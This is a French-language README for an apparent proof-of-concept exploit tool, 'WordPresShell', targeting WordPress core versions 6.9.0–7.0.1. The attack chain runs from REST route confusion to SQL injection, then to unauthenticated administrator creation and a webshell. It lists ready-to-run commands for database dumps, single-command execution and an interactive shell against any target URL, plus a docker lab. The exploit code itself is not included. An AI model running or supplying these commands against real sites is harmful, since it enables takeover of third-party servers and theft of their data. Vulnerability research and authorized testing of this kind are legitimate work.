WordPresShell

PoC RCE pre-auth pour CVE-2026-63030 + CVE-2026-60137 (noyau WordPress). Confusion de route REST /batch/v1 → SQLi WP_Query author__not_in → création d'un administrateur non authentifié → webshell. Fichier unique, stdlib Python uniquement.

Vulnérabilité : Adam Kues (Searchlight Cyber). Versions concernées : 6.9.0–6.9.4, 7.0.0–7.0.1. Corrigé : 6.9.5 / 7.0.2.

Utilisation

python3 WordPresShell.py check http://target                      # confirm (non-destructive)
python3 WordPresShell.py dump  http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id"           # crack-free RCE
python3 WordPresShell.py shell http://target -i                   # interactive
python3 WordPresShell.py shell http://target --user U --password P --cmd id

Laboratoire

docker compose up -d          # WordPress 7.0.1 on :8092
docker compose down -v        # teardown

shell crée un administrateur et dépose un webshell — supprimez les deux après les tests. Tests autorisés uniquement.